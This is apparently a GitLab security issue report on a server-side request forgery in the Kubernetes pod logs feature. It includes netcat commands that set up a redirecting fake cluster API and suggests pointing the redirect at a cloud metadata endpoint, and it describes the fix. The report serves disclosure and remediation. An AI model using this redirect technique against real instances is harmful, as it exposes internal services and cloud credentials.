Possible exposure of internal services via Kubernetes integration
Seems like a possible redux of https://gitlab.com/gitlab-org/gitlab-ce/issues/51490
Steps to reproduce (locally) :
- Get GitLab Ultimate plan so that we can access Pod Logs feature
- Create a new Project
- Create a new Environment. Enter any name, leave URL blank
- This will redirect to the environment page :
/root/test-pod-log/environments/21
- Create a Kubernetes cluster. For
API URL
, enter the server, e.g.http://localhost:3123
- Start two servers.
while true; do { cat redirect.html; } | nc -l 3123; done
while true; do { echo -e 'HTTP/1.1 200 OK\r\n'; cat test.json; } | nc -l 1234; done
- Go to the following URL :
/root/test-pod-log/environments/21/logs.json
You will now see the contents of test.json
as :
{"logs":["CAT"],"pods":[]}
In theory we can easily redirect to say, http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true&alt=text
Resources
$ cat redirect.html
HTTP/1.1 302
Location: http://localhost:1234/
$ cat test.json
CAT
Fix
We will monkey patch kubeclient
gem to not follow redirects.
This fix is working and tested in https://dev.gitlab.org/gitlab/gitlabhq/merge_requests/2575
And we have a production patch ready in https://dev.gitlab.org/gitlab/post-deployment-patches/merge_requests/110
Security issue: https://dev.gitlab.org/gitlab/gitlabhq/issues/2721
Edited by Mayra Cabrera